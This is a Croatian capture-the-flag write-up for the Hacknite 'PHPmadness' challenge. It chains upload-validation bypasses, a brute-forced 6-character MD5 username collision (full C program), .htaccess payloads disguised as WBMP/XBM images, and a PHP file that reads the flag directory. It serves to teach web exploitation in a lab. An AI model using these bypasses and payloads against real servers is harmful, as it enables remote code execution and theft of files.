User Tools

Site Tools


phpmadness

This is an old revision of the document!


Zadatak s Hacknite platforme - PHPmadness

Ovaj zadatak ima slojeve

http://chal.platforma.hacknite.hr:14019

Uz zadatak je dan i izvorni kod.

 Slika 1 - Dockerfile

Pregledom *Dockerfilea* zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju /flag, gdje datoteka dobiva nasumično generiran naziv u formatu `fl4g_<nasumičnih 16 znakova>`.

Odlaskom na stranicu zadatka potrebno je registrirati novi korisnički račun. Nakon logina prikazuje se stranica na kojoj se može pohraniti jedna slika.

 Slika 2 - stranica zadatka

Nakon što se uploada neka mala nasumična slika (npr. *whatever.png*), dobije se poveznica na lokaciju slike.

 Slika 3 - poveznica na lokaciju slike

Pregledom koda u datoteci user.php može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika.

 Slika 4 - user.php – validacije učitane slike

Kod se sastoji od tri provjere:

1. Provjera ekstenzije datoteke

if (preg_match('/^ph/', $ext)) {

Provjera uzima ekstenziju nakon zadnje točke (npr. `.jpg`) i provjerava da ne počinje znakovima `ph`. Ovu provjeru lako je zaobići dvostrukom ekstenzijom, npr. `file.php.jpg`. U tom slučaju se validira `.jpg`, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje `.php`.

2. Provjera MIME tipa poslanog u zahtjevu

if (strpos($_FILES["file"]["type"], "image/"))

Ova provjera koristi podatak koji klijent šalje i može se jednostavno namjestiti ručno pri slanju datoteke.

3. Provjera “file signature” (serverska provjera)

$info = @getimagesize($_FILES["file"]["tmp_name"]);
$mime = $info['mime']; 
...
strpos($mime, "image/") !== 0

Ova provjera čita stvarne “magic bytes” datoteke i određuje je li slika. Zaobići se može tako da se na početak PHP datoteke dodaju “magic byteovi” slike (.jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.

No, čak i ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se ne bi izvršila, jer se sprema u `/uploads/`, a tamo postoji `.htaccess` koji zabranjuje izvršavanje PHP datoteka.

 Slika 5 - .htaccess u /uploads direktoriju

Međutim, učitana datoteka se sprema u poddirektorij `/uploads/<specific_user_directory>`. To znači da, ako se može uploadati .htaccess datoteka koja bi zaobišla validaciju, ona bi mogla nadjačati (override) roditeljsku `.htaccess` konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.

Problem: korisnik može imati samo jednu datoteku po sesiji — upload nove briše staru, što je prikazano u kodu:

 Slika 6 - user.php – logika učitavanja datoteke korisnika

To znači: - ako se upload-a `.php` datoteka, neće se moći izvršiti zbog ograničenja u `.htaccess`, - ako se upload-a `.htaccess`, neće se moći uploadati dodatna `.php` datoteka jer se prva briše.

Postoji ipak način da dvije datoteke završe u istom direktoriju. Pogledajmo kako se određuje ime korisničkog direktorija:

$userdir = substr(md5($_SESSION['username']), 0, 6) . "/";

Dakle, direktorij se naziva po prvih 6 znakova MD5 sažetka korisničkog imena. Ako nađemo dva korisnička imena X i Y s istim prvim 6 znakova MD5 hash-a:

MD5(X)[0:6] = MD5(Y)[0:6]

onda će oba korisnika spremati datoteke u isti direktorij. Jedan može uploadati `.htaccess`, a drugi `.php` datoteku.

Pronalazak takvog para je trivijalan brute-force problem — može se riješiti u manje od minute. Slijedi primjer C programa koji to radi:

// md5_collision_finder6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <openssl/md5.h>

const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!()";

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <string>\n", argv[0]);
        return 1;
    }

    char *input = argv[1];
    size_t input_len = strlen(input);
    unsigned char input_digest[MD5_DIGEST_LENGTH];
    MD5((unsigned char*)input, input_len, input_digest);

    printf("Input string: %s\n", input);
    printf("Full MD5: ");
    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);
    printf("\nFirst 6 chars: ");
    for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]);
    printf("\nSearching for collision...\n");

    unsigned char target[3];
    memcpy(target, input_digest, 3);
    const int min_len = 8;
    const int max_len = 15;
    const size_t charset_size = sizeof(charset) - 1;
    unsigned long long attempts = 0;
    char candidate[max_len + 1];
    srand(time(NULL));

    while (1) {
        attempts++;
        int len = rand() % (max_len - min_len + 1) + min_len;
        for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];
        candidate[len] = '\0';
        if (len == input_len && memcmp(candidate, input, len) == 0) continue;
        unsigned char candidate_digest[MD5_DIGEST_LENGTH];
        MD5((unsigned char*)candidate, len, candidate_digest);
        if (memcmp(candidate_digest, target, 3) == 0) {
            printf("Collision found after %llu attempts!\n", attempts);
            printf("Colliding string: %s\n", candidate);
            break;
        }
    }
    return 0;
}

Pokretanje:

$ ./md5_collision_finder6 korisnik1
Input string: korisnik1
Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61
First 6 chars: affc2d
Collision found after 19093362 attempts!
Colliding string: BQuxIUGH
Full MD5: affc2da2a9c70df41678d24f997a95f0
First 6 chars: affc2d

Dakle, dva korisnička imena koja dijele direktorij su korisnik1 i BQuxIUGH.

Sada treba napraviti .htaccess datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati. Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka.

Postoje dva rješenja:

### 1. `.wbmp` pristup Parser .htaccess datoteke ignorira početne *null* bajtove. Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike. Takva datoteka može se zvati `.htaccess.jpg` i sadržavati:

<4 null byteova><new line>
<FilesMatch "\.php3$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>

### 2. `.xbm` pristup Komentari u .htaccess počinju s `#`. Ako se doda zaglavlje valjane .xbm slike:

#define a_width 1 
#define a_height 1
<FilesMatch "\.php3$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>

PHP provjera prepoznaje datoteku kao sliku, a Apache parser ignorira prve dvije linije kao komentare.

Time je moguće zaobići sve provjere i ograničenja. Dakle, strategija je: 1. Dva korisnika s istim prvih 6 znakova MD5 hash-a. 2. Jedan upload-a `.htaccess.jpg` (s gornjim sadržajem). 3. Drugi upload-a PHP datoteku, npr. `readFlag.php3.jpg`.

Preostaje PHP kod koji pronalazi i ispisuje flag. Ograničenja su definirana u `/php-config/disable_functions.ini`:

disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec

Ipak, moguće je čitati datoteke bez ovih funkcija.

Primjer datoteke readFlag.php3.jpg (s dodanim *magic bytes* slike na početku):

<4 null byteova><new line>
<?php
$files = scandir("/flag");
foreach ($files as $file) {
    if ($file === "." || $file === "..") continue;
    $path = "/flag/" . $file;
    if (is_file($path)) {
        echo "<h3>Contents of: $file</h3><pre>";
        echo htmlspecialchars(file_get_contents($path));
        echo "</pre><hr>";
    }
}
?>

Zatim: 1. Prvim korisnikom upload-aj `.htaccess.jpg`.
 Slika 7 - upload .htaccess.jpg datoteke

2. Drugim korisnikom upload-aj `readFlag.php3.jpg`.
 Slika 8 - upload readFlag.php3.jpg datoteke

3. Posjeti link do učitane PHP datoteke.
 Slika 9 - link na lokaciju

PHP kod će se izvršiti i ispisati flag.
 Slika 10 - riješen zadatak

phpmadness.1761841672.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki